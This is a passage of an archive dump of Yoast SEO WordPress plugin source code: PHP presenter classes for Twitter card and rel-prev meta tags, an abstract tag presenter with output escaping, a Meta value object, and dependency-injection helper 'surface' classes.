			$form_key   = \esc_attr( WPSEO_Meta::$form_prefix . $key );
			$meta_value = WPSEO_Meta::get_value( $key, $this->post->ID );

			$default = '';
			if ( isset( $meta_field['default'] ) ) {
				$default = \sprintf( ' data-default="%s"', \esc_attr( $meta_field['default'] ) );
			}

			$output .= '<input type="hidden" id="' . $form_key . '" name="' . $form_key . '" value="' . \esc_attr( $meta_value ) . '"' . $default . '/>' . "\n";
		}

		return $output;
	}
}
wordpress-seo/src/presenters/twitter/site-presenter.php000064400000003223147510273100017525 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Twitter;

use Yoast\WP\SEO\Presentations\Indexable_Presentation;
use Yoast\WP\SEO\Presenters\Abstract_Indexable_Tag_Presenter;

/**
 * Presenter class for the Twitter site tag.
 */
class Site_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'twitter:site';

	/**
	 * Run the Twitter site through the `wpseo_twitter_site` filter.
	 *
	 * @return string The filtered Twitter site.
	 */
	public function get() {
		/**
		 * Filter: 'wpseo_twitter_site' - Allow changing the Twitter site account as output in the Twitter card by Yoast SEO.
		 *
		 * @param string                 $twitter_site Twitter site account string.
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		$twitter_site = \apply_filters( 'wpseo_twitter_site', $this->presentation->twitter_site, $this->presentation );
		$twitter_site = $this->get_twitter_id( $twitter_site );

		if ( ! \is_string( $twitter_site ) || $twitter_site === '' ) {
			return '';
		}

		return '@' . $twitter_site;
	}

	/**
	 * Checks if the given id is actually an id or a url and if url, distills the id from it.
	 *
	 * Solves issues with filters returning urls and theme's/other plugins also adding a user meta
	 * twitter field which expects url rather than an id (which is what we expect).
	 *
	 * @param string $id Twitter ID or url.
	 *
	 * @return string|bool Twitter ID or false if it failed to get a valid Twitter ID.
	 */
	private function get_twitter_id( $id ) {
		if ( \preg_match( '`([A-Za-z0-9_]{1,25})$`', $id, $match ) ) {
			return $match[1];
		}

		return false;
	}
}
wordpress-seo/src/presenters/twitter/card-presenter.php000064400000001551147510273100017474 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Twitter;

use Yoast\WP\SEO\Presentations\Indexable_Presentation;
use Yoast\WP\SEO\Presenters\Abstract_Indexable_Tag_Presenter;

/**
 * Presenter class for the Twitter Card tag.
 */
class Card_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'twitter:card';

	/**
	 * Runs the card type through the `wpseo_twitter_card_type` filter.
	 *
	 * @return string The filtered card type.
	 */
	public function get() {
		/**
		 * Filter: 'wpseo_twitter_card_type' - Allow changing the Twitter card type.
		 *
		 * @param string $card_type The card type.
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		return \trim( \apply_filters( 'wpseo_twitter_card_type', $this->presentation->twitter_card, $this->presentation ) );
	}
}
wordpress-seo/src/presenters/twitter/title-presenter.php000064400000001641147510273100017704 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Twitter;

use Yoast\WP\SEO\Presentations\Indexable_Presentation;
use Yoast\WP\SEO\Presenters\Abstract_Indexable_Tag_Presenter;

/**
 * Presenter class for the Twitter title.
 */
class Title_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'twitter:title';

	/**
	 * Run the Twitter title through replace vars and the `wpseo_twitter_title` filter.
	 *
	 * @return string The filtered Twitter title.
	 */
	public function get() {
		/**
		 * Filter: 'wpseo_twitter_title' - Allow changing the Twitter title.
		 *
		 * @param string                 $twitter_title The Twitter title.
		 * @param Indexable_Presentation $presentation  The presentation of an indexable.
		 */
		return \trim( \apply_filters( 'wpseo_twitter_title', $this->replace_vars( $this->presentation->twitter_title ), $this->presentation ) );
	}
}
wordpress-seo/src/presenters/twitter/creator-presenter.php000064400000000753147510273100020225 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Twitter;

use Yoast\WP\SEO\Presenters\Abstract_Indexable_Tag_Presenter;

/**
 * Presenter class for the Twitter creator.
 */
class Creator_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'twitter:creator';

	/**
	 * Gets the raw value of a presentation.
	 *
	 * @return string The raw value.
	 */
	public function get() {
		return $this->presentation->twitter_creator;
	}
}
wordpress-seo/src/presenters/twitter/image-presenter.php000064400000001743147510273100017650 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Twitter;

use Yoast\WP\SEO\Presentations\Indexable_Presentation;
use Yoast\WP\SEO\Presenters\Abstract_Indexable_Tag_Presenter;

/**
 * Presenter class for the Twitter image.
 */
class Image_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'twitter:image';

	/**
	 * The method of escaping to use.
	 *
	 * @var string
	 */
	protected $escaping = 'url';

	/**
	 * Run the Twitter image value through the `wpseo_twitter_image` filter.
	 *
	 * @return string The filtered Twitter image.
	 */
	public function get() {
		/**
		 * Filter: 'wpseo_twitter_image' - Allow changing the Twitter Card image.
		 *
		 * @param string                 $twitter_image Image URL string.
		 * @param Indexable_Presentation $presentation  The presentation of an indexable.
		 */
		return (string) \apply_filters( 'wpseo_twitter_image', $this->presentation->twitter_image, $this->presentation );
	}
}
wordpress-seo/src/presenters/twitter/description-presenter.php000064400000002020147510273100021076 0ustar00<?php

namespace Yoast\WP\SEO\Presenters\Twitter;

use Yoast\WP\SEO\Presentations\Indexable_Presentation;
use Yoast\WP\SEO\Presenters\Abstract_Indexable_Tag_Presenter;

/**
 * Presenter class for the Twitter description.
 */
class Description_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'twitter:description';

	/**
	 * Run the Twitter description through replace vars and the `wpseo_twitter_description` filter.
	 *
	 * @return string The filtered Twitter description.
	 */
	public function get() {
		/**
		 * Filter: 'wpseo_twitter_description' - Allow changing the Twitter description as output in the Twitter card by Yoast SEO.
		 *
		 * @param string                 $twitter_description The description string.
		 * @param Indexable_Presentation $presentation        The presentation of an indexable.
		 */
		return \apply_filters( 'wpseo_twitter_description', $this->replace_vars( $this->presentation->twitter_description ), $this->presentation );
	}
}
wordpress-seo/src/presenters/abstract-indexable-tag-presenter.php000064400000003373147510273100021372 0ustar00<?php

namespace Yoast\WP\SEO\Presenters;

/**
 * Abstract presenter class for indexable tag presentations.
 *
 * @phpcs:disable Yoast.Files.FileName.InvalidClassFileName
 */
abstract class Abstract_Indexable_Tag_Presenter extends Abstract_Indexable_Presenter {

	public const META_PROPERTY_CONTENT = '<meta property="%2$s" content="%1$s"%3$s />';
	public const META_NAME_CONTENT     = '<meta name="%2$s" content="%1$s"%3$s />';
	public const LINK_REL_HREF         = '<link rel="%2$s" href="%1$s"%3$s />';
	public const DEFAULT_TAG_FORMAT    = self::META_NAME_CONTENT;

	/**
	 * The tag format including placeholders.
	 *
	 * @var string
	 */
	protected $tag_format = self::DEFAULT_TAG_FORMAT;

	/**
	 * The method of escaping to use.
	 *
	 * @var string
	 */
	protected $escaping = 'attribute';

	/**
	 * Returns a tag in the head.
	 *
	 * @return string The tag.
	 */
	public function present() {
		$value = $this->get();

		if ( ! \is_string( $value ) || $value === '' ) {
			return '';
		}

		/**
		 * There may be some classes that are derived from this class that do not use the $key property
		 * in their $tag_format string. In that case the key property will simply not be used.
		 */
		return \sprintf(
			$this->tag_format,
			$this->escape_value( $value ),
			$this->key,
			\is_admin_bar_showing() ? ' class="yoast-seo-meta-tag"' : ''
		);
	}

	/**
	 * Escaped the output.
	 *
	 * @param string $value The desired method of escaping; 'html', 'url' or 'attribute'.
	 *
	 * @return string The escaped value.
	 */
	protected function escape_value( $value ) {
		switch ( $this->escaping ) {
			case 'html':
				return \esc_html( $value );
			case 'url':
				return \esc_url( $value, null, 'attribute' );
			case 'attribute':
			default:
				return \esc_attr( $value );
		}
	}
}
wordpress-seo/src/presenters/rel-prev-presenter.php000064400000003301147510273100016610 0ustar00<?php

namespace Yoast\WP\SEO\Presenters;

/**
 * Presenter class for the rel prev meta tag.
 */
class Rel_Prev_Presenter extends Abstract_Indexable_Tag_Presenter {

	/**
	 * The tag key name.
	 *
	 * @var string
	 */
	protected $key = 'prev';

	/**
	 * The tag format including placeholders.
	 *
	 * @var string
	 */
	protected $tag_format = self::LINK_REL_HREF;

	/**
	 * The method of escaping to use.
	 *
	 * @var string
	 */
	protected $escaping = 'url';

	/**
	 * Returns the rel prev meta tag.
	 *
	 * @param bool $output_tag Optional. Whether or not to output the HTML tag. Defaults to true.
	 *
	 * @return string The rel prev tag.
	 */
	public function present( $output_tag = true ) {
		$output = parent::present();

		if ( ! empty( $output ) ) {
			/**
			 * Filter: 'wpseo_prev_rel_link' - Allow changing link rel output by Yoast SEO.
			 *
			 * @param string $unsigned The full `<link` element.
			 */
			return \apply_filters( 'wpseo_prev_rel_link', $output );
		}

		return '';
	}

	/**
	 * Run the rel prev content through the `wpseo_adjacent_rel_url` filter.
	 *
	 * @return string The filtered adjacent link.
	 */
	public function get() {
		if ( \in_array( 'noindex', $this->presentation->robots, true ) ) {
			return '';
		}

		/**
		 * Filter: 'wpseo_adjacent_rel_url' - Allow filtering of the rel prev URL put out by Yoast SEO.
		 *
		 * @param string                 $canonical    The rel prev URL.
		 * @param string                 $rel          Link relationship, prev or next.
		 * @param Indexable_Presentation $presentation The presentation of an indexable.
		 */
		return (string) \trim( \apply_filters( 'wpseo_adjacent_rel_url', $this->presentation->rel_prev, 'prev', $this->presentation ) );
	}
}
wordpress-seo/src/surfaces/twitter-helpers-surface.php000064400000004740147510273100017270 0ustar00<?php

namespace Yoast\WP\SEO\Surfaces;

use Yoast\WP\SEO\Exceptions\Forbidden_Property_Mutation_Exception;
use Yoast\WP\SEO\Helpers\Twitter;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\ContainerInterface;

/**
 * Class Twitter_Helpers_Surface.
 *
 * Surface for the indexables.
 *
 * @property Twitter\Image_Helper $image
 */
class Twitter_Helpers_Surface {

	/**
	 * The DI container.
	 *
	 * @var ContainerInterface
	 */
	private $container;

	/**
	 * Loader constructor.
	 *
	 * @param ContainerInterface $container The dependency injection container.
	 */
	public function __construct( ContainerInterface $container ) {
		$this->container = $container;
	}

	/**
	 * Magic getter for getting helper classes.
	 *
	 * @param string $helper The helper to get.
	 *
	 * @return mixed The helper class.
	 */
	public function __get( $helper ) {
		return $this->container->get( $this->get_helper_class( $helper ) );
	}

	/**
	 * Magic isset for ensuring helper exists.
	 *
	 * @param string $helper The helper to get.
	 *
	 * @return bool Whether the helper exists.
	 */
	public function __isset( $helper ) {
		return $this->container->has( $this->get_helper_class( $helper ) );
	}

	/**
	 * Prevents setting dynamic properties and unsetting declared properties
	 * from an inaccessible context.
	 *
	 * @param string $name  The property name.
	 * @param mixed  $value The property value.
	 *
	 * @return void
	 *
	 * @throws Forbidden_Property_Mutation_Exception Set is never meant to be called.
	 */
	public function __set( $name, $value ) { // @phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed -- __set must have a name and value - PHPCS #3715.
		throw Forbidden_Property_Mutation_Exception::cannot_set_because_property_is_immutable( $name );
	}

	/**
	 * Prevents unsetting dynamic properties and unsetting declared properties
	 * from an inaccessible context.
	 *
	 * @param string $name The property name.
	 *
	 * @return void
	 *
	 * @throws Forbidden_Property_Mutation_Exception Unset is never meant to be called.
	 */
	public function __unset( $name ) {
		throw Forbidden_Property_Mutation_Exception::cannot_unset_because_property_is_immutable( $name );
	}

	/**
	 * Get the class name from a helper slug
	 *
	 * @param string $helper The name of the helper.
	 *
	 * @return string
	 */
	protected function get_helper_class( $helper ) {
		$helper = \implode( '_', \array_map( 'ucfirst', \explode( '_', $helper ) ) );
		return "Yoast\WP\SEO\Helpers\Twitter\\{$helper}_Helper";
	}
}
wordpress-seo/src/surfaces/values/meta.php000064400000027624147510273100014733 0ustar00<?php

namespace Yoast\WP\SEO\Surfaces\Values;

use WPSEO_Replace_Vars;
use Yoast\WP\SEO\Context\Meta_Tags_Context;
use Yoast\WP\SEO\Exceptions\Forbidden_Property_Mutation_Exception;
use Yoast\WP\SEO\Integrations\Front_End_Integration;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Presenters\Abstract_Indexable_Presenter;
use Yoast\WP\SEO\Presenters\Rel_Next_Presenter;
use Yoast\WP\SEO\Presenters\Rel_Prev_Presenter;
use Yoast\WP\SEO\Surfaces\Helpers_Surface;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\ContainerInterface;

/**
 * Meta value object.
 *
 * @property array       $breadcrumbs                       The breadcrumbs array for the current page.
 * @property string      $canonical                         The canonical URL for the current page.
 * @property string      $company_name                      The company name from the Knowledge graph settings.
 * @property int         $company_logo_id                   The attachment ID for the company logo.
 * @property string      $description                       The meta description for the current page, if set.
 * @property int         $estimated_reading_time_minutes    The estimated reading time in minutes for posts.
 * @property Indexable   $indexable                         The indexable object.
 * @property string      $main_schema_id                    Schema ID that points to the main Schema thing on the page, usually the webpage or article Schema piece.
 * @property string      $meta_description                  The meta description for the current page, if set.
 * @property string      $open_graph_article_author         The article:author value.
 * @property string      $open_graph_article_modified_time  The article:modified_time value.
 * @property string      $open_graph_article_published_time The article:published_time value.
 * @property string      $open_graph_article_publisher      The article:publisher value.
 * @property string      $open_graph_description            The og:description.
 * @property bool        $open_graph_enabled                Whether OpenGraph is enabled on this site.
 * @property string      $open_graph_fb_app_id              The Facebook App ID.
 * @property array       $open_graph_images                 The array of images we have for this page.
 * @property string      $open_graph_locale                 The og:locale for the current page.
 * @property string      $open_graph_publisher              The OpenGraph publisher reference.
 * @property string      $open_graph_site_name              The og:site_name.
 * @property string      $open_graph_title                  The og:title.
 * @property string      $open_graph_type                   The og:type.
 * @property string      $open_graph_url                    The og:url.
 * @property string      $page_type                         The Schema page type.
 * @property array       $robots                            An array of the robots values set for the current page.
 * @property string      $rel_next                          The next page in the series, if any.
 * @property string      $rel_prev                          The previous page in the series, if any.
 * @property array       $schema                            The entire Schema array for the current page.
 * @property string      $schema_page_type                  The Schema page type.
 * @property string      $site_name                         The site name from the Yoast SEO settings.
 * @property string      $site_represents                   Whether the site represents a 'person' or a 'company'.
 * @property array|false $site_represents_reference         The schema reference ID for what this site represents.
 * @property string      $site_url                          The site's main URL.
 * @property int         $site_user_id                      If the site represents a 'person', this is the ID of the accompanying user profile.
 * @property string      $title                             The SEO title for the current page.
 * @property string      $twitter_card                      The Twitter card type for the current page.
 * @property string      $twitter_creator                   The Twitter card author for the current page.
 * @property string      $twitter_description               The Twitter card description for the current page.
 * @property string      $twitter_image                     The Twitter card image for the current page.
 * @property string      $twitter_site                      The Twitter card site reference for the current page.
 * @property string      $twitter_title                     The Twitter card title for the current page.
 * @property string      $wordpress_site_name               The site name from the WordPress settings.
 */
class Meta {

	/**
	 * The container.
	 *
	 * @var ContainerInterface
	 */
	protected $container;

	/**
	 * The meta tags context.
	 *
	 * @var Meta_Tags_Context
	 */
	protected $context;

	/**
	 * The front end integration.
	 *
	 * @var Front_End_Integration
	 */
	protected $front_end;

	/**
	 * The helpers surface.
	 *
	 * @var Helpers_Surface
	 */
	protected $helpers;

	/**
	 * The replace vars helper
	 *
	 * @var WPSEO_Replace_Vars
	 */
	protected $replace_vars;

	/**
	 * Collection of properties dynamically set via the magic __get() method.
	 *
	 * @var array<string, mixed> Key is the property name.
	 */
	private $properties_bin = [];

	/**
	 * Create a meta value object.
	 *
	 * @param Meta_Tags_Context  $context   The indexable presentation.
	 * @param ContainerInterface $container The DI container.
	 */
	public function __construct(
		Meta_Tags_Context $context,
		ContainerInterface $container
	) {
		$this->container = $container;
		$this->context   = $context;

		$this->helpers      = $this->container->get( Helpers_Surface::class );
		$this->replace_vars = $this->container->get( WPSEO_Replace_Vars::class );
		$this->front_end    = $this->container->get( Front_End_Integration::class );
	}

	/**
	 * Returns the output as would be presented in the head.
	 *
	 * @return object The HTML and JSON presentation of the head metadata.
	 */
	public function get_head() {
		$presenters = $this->get_presenters();

		/** This filter is documented in src/integrations/front-end-integration.php */
		$presentation = \apply_filters( 'wpseo_frontend_presentation', $this->context->presentation, $this->context );

		$html_output      = '';
		$json_head_fields = [];

		foreach ( $presenters as $presenter ) {
			$presenter->presentation = $presentation;
			$presenter->replace_vars = $this->replace_vars;
			$presenter->helpers      = $this->helpers;

			$html_output .= $this->create_html_presentation( $presenter );
			$json_field   = $this->create_json_field( $presenter );

			// Only use the output of presenters that could successfully present their data.
			if ( $json_field !== null && ! empty( $json_field->key ) ) {
				$json_head_fields[ $json_field->key ] = $json_field->value;
			}
		}
		$html_output = \trim( $html_output );

		return (object) [
			'html' => $html_output,
			'json' => $json_head_fields,
		];
	}

	/**
	 * Magic getter for presenting values through the appropriate presenter, if it exists.
	 *
	 * @param string $name The property to get.
	 *
	 * @return mixed The value, as presented by the appropriate presenter.
	 */
	public function __get( $name ) {
		if ( \array_key_exists( $name, $this->properties_bin ) ) {
			return $this->properties_bin[ $name ];
		}

		/** This filter is documented in src/integrations/front-end-integration.php */
		$presentation = \apply_filters( 'wpseo_frontend_presentation', $this->context->presentation, $this->context );

		if ( ! isset( $presentation->{$name} ) ) {
			if ( isset( $this->context->{$name} ) ) {
				$this->properties_bin[ $name ] = $this->context->{$name};
				return $this->properties_bin[ $name ];
			}
			return null;
		}

		$presenter_namespace = 'Yoast\WP\SEO\Presenters\\';
		$parts               = \explode( '_', $name );
		if ( $parts[0] === 'twitter' ) {
			$presenter_namespace .= 'Twitter\\';
			$parts                = \array_slice( $parts, 1 );
		}
		elseif ( $parts[0] === 'open' && $parts[1] === 'graph' ) {
			$presenter_namespace .= 'Open_Graph\\';
			$parts                = \array_slice( $parts, 2 );
		}

		$presenter_class = $presenter_namespace . \implode( '_', \array_map( 'ucfirst', $parts ) ) . '_Presenter';

		if ( \class_exists( $presenter_class ) ) {
			/**
			 * The indexable presenter.
			 *
			 * @var Abstract_Indexable_Presenter
			 */
			$presenter               = new $presenter_class();
			$presenter->presentation = $presentation;
			$presenter->helpers      = $this->helpers;
			$presenter->replace_vars = $this->replace_vars;
			$value                   = $presenter->get();
		}
		else {
			$value = $presentation->{$name};
		}

		$this->properties_bin[ $name ] = $value;
		return $this->properties_bin[ $name ];
	}

	/**
	 * Magic isset for ensuring properties on the presentation are recognised.
	 *
	 * @param string $name The property to get.
	 *
	 * @return bool Whether or not the requested property exists.
	 */
	public function __isset( $name ) {
		if ( \array_key_exists( $name, $this->properties_bin ) ) {
			return true;
		}

		return isset( $this->context->presentation->{$name} );
	}

	/**
	 * Prevents setting dynamic properties and overwriting the value of declared properties
	 * from an inaccessible context.
	 *
	 * @param string $name  The property name.
	 * @param mixed  $value The property value.
	 *
	 * @return void
	 *
	 * @throws Forbidden_Property_Mutation_Exception Set is never meant to be called.
	 */
	public function __set( $name, $value ) { // @phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed -- __set must have a name and value - PHPCS #3715.
		throw Forbidden_Property_Mutation_Exception::cannot_set_because_property_is_immutable( $name );
	}

	/**
	 * Prevents unsetting dynamic properties and unsetting declared properties
	 * from an inaccessible context.
	 *
	 * @param string $name The property name.
	 *
	 * @return void
	 *
	 * @throws Forbidden_Property_Mutation_Exception Unset is never meant to be called.
	 */
	public function __unset( $name ) {
		throw Forbidden_Property_Mutation_Exception::cannot_unset_because_property_is_immutable( $name );
	}

	/**
	 * Strips all nested dependencies from the debug info.
	 *
	 * @return array
	 */
	public function __debugInfo() {
		return [ 'context' => $this->context ];
	}

	/**
	 * Returns all presenters.
	 *
	 * @return Abstract_Indexable_Presenter[]
	 */
	protected function get_presenters() {
		$presenters = $this->front_end->get_presenters( $this->context->page_type, $this->context );

		if ( $this->context->page_type === 'Date_Archive' ) {
			/**
			 * Define a filter that removes objects of type Rel_Next_Presenter or Rel_Prev_Presenter from a list.
			 *
			 * @param object $presenter The presenter to verify.
			 *
			 * @return bool True if the presenter is not a Rel_Next or Rel_Prev presenter.
			 */
			$callback   = static function ( $presenter ) {
				return ! \is_a( $presenter, Rel_Next_Presenter::class )
					&& ! \is_a( $presenter, Rel_Prev_Presenter::class );
			};
			$presenters = \array_filter( $presenters, $callback );
		}

		return $presenters;
	}

	/**
	 * Uses the presenter to create a line of HTML.
	 *
	 * @param Abstract_Indexable_Presenter $presenter The presenter.
	 *
	 * @return string
	 */
	protected function create_html_presentation( $presenter ) {
		$presenter_output = $presenter->present();
		if ( ! empty( $presenter_output ) ) {
			return $presenter_output . \PHP_EOL;
		}
		return '';
	}

	/**
	 * Converts a presenter's key and value to JSON.
	 *
	 * @param Abstract_Indexable_Presenter $presenter The presenter whose key and value are to be converted to JSON.
	 *
	 * @return object|null
	 */
	protected function create_json_field( $presenter ) {
		if ( $presenter->get_key() === 'NO KEY PROVIDED' ) {
			return null;
		}

		$value = $presenter->get();
		if ( empty( $value ) ) {
			return null;
		}

		return (object) [
			'key'   => $presenter->escape_key(),
			'value' => $value,
		];
	}
}
wordpress-seo/src/surfaces/helpers-surface.php000064400000013100147510273100015556 0ustar00<?php

namespace Yoast\WP\SEO\Surfaces;

use Yoast\WP\SEO\Exceptions\Forbidden_Property_Mutation_Exception;
use Yoast\WP\SEO\Helpers;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\ContainerInterface;

/**
 * Class Helpers_Surface.
 *
 * Surface for the indexables.
 *
 * @property Helpers\Asset_Helper                           $asset
 * @property Helpers\Author_Archive_Helper                  $author_archive
 * @property Helpers\Blocks_Helper                          $blocks
 * @property Helpers\Capability_Helper                      $capability
 * @property Helpers\Current_Page_Helper                    $current_page
 * @property Helpers\Date_Helper                            $date
 * @property Helpers\Environment_Helper                     $environment
 * @property Helpers\First_Time_Configuration_Notice_Helper $first_time_configuration_notice
 * @property Helpers\Home_Url_Helper                        $home_url
 * @property Helpers\Image_Helper                           $image
 * @property Helpers\Indexable_Helper                       $indexable
 * @property Helpers\Indexing_Helper                        $indexing
 * @property Helpers\Input_Helper                           $input
 * @property Helpers\Language_Helper                        $language
 * @property Helpers\Meta_Helper                            $meta
 * @property Helpers\Notification_Helper                    $notification
 * @property Helpers\Options_Helper                         $options
 * @property Helpers\Pagination_Helper                      $pagination
 * @property Helpers\Permalink_Helper                       $permalink
 * @property Helpers\Post_Helper                            $post
 * @property Helpers\Post_Type_Helper                       $post_type
 * @property Helpers\Primary_Term_Helper                    $primary_term
 * @property Helpers\Product_Helper                         $product
 * @property Helpers\Redirect_Helper                        $redirect
 * @property Helpers\Require_File_Helper                    $require_file
 * @property Helpers\Robots_Helper                          $robots
 * @property Helpers\Short_Link_Helper                      $short_link
 * @property Helpers\Site_Helper                            $site
 * @property Helpers\String_Helper                          $string
 * @property Helpers\Social_Profiles_Helper                 $social_profiles
 * @property Helpers\Taxonomy_Helper                        $taxonomy
 * @property Helpers\Url_Helper                             $url
 * @property Helpers\User_Helper                            $user
 * @property Helpers\Woocommerce_Helper                     $woocommerce
 * @property Helpers\Wordpress_Helper                       $wordpress
 */
class Helpers_Surface {

	/**
	 * The DI container.
	 *
	 * @var ContainerInterface
	 */
	private $container;

	/**
	 * The open_graph helper namespace
	 *
	 * @var Open_Graph_Helpers_Surface
	 */
	public $open_graph;

	/**
	 * The schema helper namespace
	 *
	 * @var Schema_Helpers_Surface
	 */
	public $schema;

	/**
	 * The twitter helper namespace
	 *
	 * @var Twitter_Helpers_Surface
	 */
	public $twitter;

	/**
	 * Loader constructor.
	 *
	 * @param ContainerInterface         $container  The dependency injection container.
	 * @param Open_Graph_Helpers_Surface $open_graph The OpenGraph helpers surface.
	 * @param Schema_Helpers_Surface     $schema     The Schema helpers surface.
	 * @param Twitter_Helpers_Surface    $twitter    The Twitter helpers surface.
	 */
	public function __construct(
		ContainerInterface $container,
		Open_Graph_Helpers_Surface $open_graph,
		Schema_Helpers_Surface $schema,
		Twitter_Helpers_Surface $twitter
	) {
		$this->container  = $container;
		$this->open_graph = $open_graph;
		$this->schema     = $schema;
		$this->twitter    = $twitter;
	}

	/**
	 * Magic getter for getting helper classes.
	 *
	 * @param string $helper The helper to get.
	 *
	 * @return mixed The helper class.
	 */
	public function __get( $helper ) {
		return $this->container->get( $this->get_helper_class( $helper ) );
	}

	/**
	 * Magic isset for ensuring helper exists.
	 *
	 * @param string $helper The helper to get.
	 *
	 * @return bool Whether the helper exists.
	 */
	public function __isset( $helper ) {
		return $this->container->has( $this->get_helper_class( $helper ) );
	}

	/**
	 * Prevents setting dynamic properties and unsetting declared properties
	 * from an inaccessible context.
	 *
	 * @param string $name  The property name.
	 * @param mixed  $value The property value.
	 *
	 * @return void
	 *
	 * @throws Forbidden_Property_Mutation_Exception Set is never meant to be called.
	 */
	public function __set( $name, $value ) { // @phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed -- __set must have a name and value - PHPCS #3715.
		throw Forbidden_Property_Mutation_Exception::cannot_set_because_property_is_immutable( $name );
	}

	/**
	 * Prevents unsetting dynamic properties and unsetting declared properties
	 * from an inaccessible context.
	 *
	 * @param string $name The property name.
	 *
	 * @return void
	 *
	 * @throws Forbidden_Property_Mutation_Exception Unset is never meant to be called.
	 */
	public function __unset( $name ) {
		throw Forbidden_Property_Mutation_Exception::cannot_unset_because_property_is_immutable( $name );
	}

	/**
	 * Get the class name from a helper slug
	 *
	 * @param string $helper The name of the helper.
	 *
	 * @return string
	 */
	protected function get_helper_class( $helper ) {
		$helper = \implode( '_', \array_map( 'ucfirst', \explode( '_', $helper ) ) );

		return "Yoast\WP\SEO\Helpers\\{$helper}_Helper";
	}
}
wordpress-seo/src/surfaces/open-graph-helpers-surface.php000064400000004757147510273100017636 0ustar00<?php

namespace Yoast\WP\SEO\Surfaces;

use Yoast\WP\SEO\Exceptions\Forbidden_Property_Mutation_Exception;
use Yoast\WP\SEO\Helpers\Open_Graph;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\ContainerInterface;

/**
 * Class Open_Graph_Helpers_Surface.
 *
 * Surface for the indexables.
 *
 * @property Open_Graph\Image_Helper $image
 */
class Open_Graph_Helpers_Surface {

	/**
	 * The DI container.
	 *
	 * @var ContainerInterface
	 */
	private $container;

	/**
	 * Loader constructor.
	 *
	 * @param ContainerInterface $container The dependency injection container.
	 */
	public function __construct( ContainerInterface $container ) {
		$this->container = $container;
	}

	/**
	 * Magic getter for getting helper classes.
	 *
	 * @param string $helper The helper to get.
	 *
	 * @return mixed The helper class.
	 */
	public function __get( $helper ) {
		return $this->container->get( $this->get_helper_class( $helper ) );
	}

	/**
	 * Magic isset for ensuring helper exists.
	 *
	 * @param string $helper The helper to get.
	 *
	 * @return bool Whether the helper exists.
	 */
	public function __isset( $helper ) {
		return $this->container->has( $this->get_helper_class( $helper ) );
	}

	/**
	 * Prevents setting dynamic properties and unsetting declared properties
	 * from an inaccessible context.
	 *
	 * @param string $name  The property name.
	 * @param mixed  $value The property value.
	 *
	 * @return void
	 *
	 * @throws Forbidden_Property_Mutation_Exception Set is never meant to be called.
	 */
	public function __set( $name, $value ) { // @phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed -- __set must have a name and value - PHPCS #3715.
		throw Forbidden_Property_Mutation_Exception::cannot_set_because_property_is_immutable( $name );
	}

	/**
	 * Prevents unsetting dynamic properties and unsetting declared properties
	 * from an inaccessible context.
	 *
	 * @param string $name The property name.
	 *
	 * @return void
	 *
	 * @throws Forbidden_Property_Mutation_Exception Unset is never meant to be called.
	 */
	public function __unset( $name ) {
		throw Forbidden_Property_Mutation_Exception::cannot_unset_because_property_is_immutable( $name );
	}

	/**
	 * Get the class name from a helper slug
	 *
	 * @param string $helper The name of the helper.
	 *
	 * @return string
	 */
	protected function get_helper_class( $helper ) {
		$helper = \implode( '_', \array_map( 'ucfirst', \explode( '_', $helper ) ) );
		return "Yoast\WP\SEO\Helpers\Open_Graph\\{$helper}_Helper";
	}
}
wordpress-seo/src/surfaces/schema-helpers-surface.php000064400000005546147510273100017033 0ustar00<?php

namespace Yoast\WP\SEO\Surfaces;

use Yoast\WP\SEO\Exceptions\Forbidden_Property_Mutation_Exception;
use Yoast\WP\SEO\Helpers\Schema;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\ContainerInterface;

/**
 * Class Schema_Helpers_Surface.
 *
 * Surface for the indexables.
 *
 * @property Schema\Article_Helper $article
 * @property Schema\HTML_Helper $html
 * @property Schema\ID_Helper $id
 * @property Schema\Image_Helper $image
 * @property Schema\Language_Helper $language
 */
class Schema_Helpers_Surface {

	/**
	 * The DI container.
	 *
	 * @var ContainerInterface
	 */
	private $container;

	/**
	 * Helpers that should be fully capitalized.
	 *
	 * @var array
	 */
	private $capitalized_helpers = [ 'html', 'id' ];

	/**
	 * Loader constructor.
	 *
	 * @param ContainerInterface $container The dependency injection container.
	 */
	public function __construct( ContainerInterface $container ) {
		$this->container = $container;
	}

	/**
	 * Magic getter for getting helper classes.
	 *
	 * @param string $helper The helper to get.
	 *
	 * @return mixed The helper class.
	 */
	public function __get( $helper ) {
		return $this->container->get( $this->get_helper_class( $helper ) );
	}

	/**
	 * Magic isset for ensuring helper exists.
	 *
	 * @param string $helper The helper to get.
	 *
	 * @return bool Whether the helper exists.
	 */
	public function __isset( $helper ) {
		return $this->container->has( $this->get_helper_class( $helper ) );
	}

	/**
	 * Prevents setting dynamic properties and unsetting declared properties
	 * from an inaccessible context.
	 *
	 * @param string $name  The property name.
	 * @param mixed  $value The property value.
	 *
	 * @return void
	 *
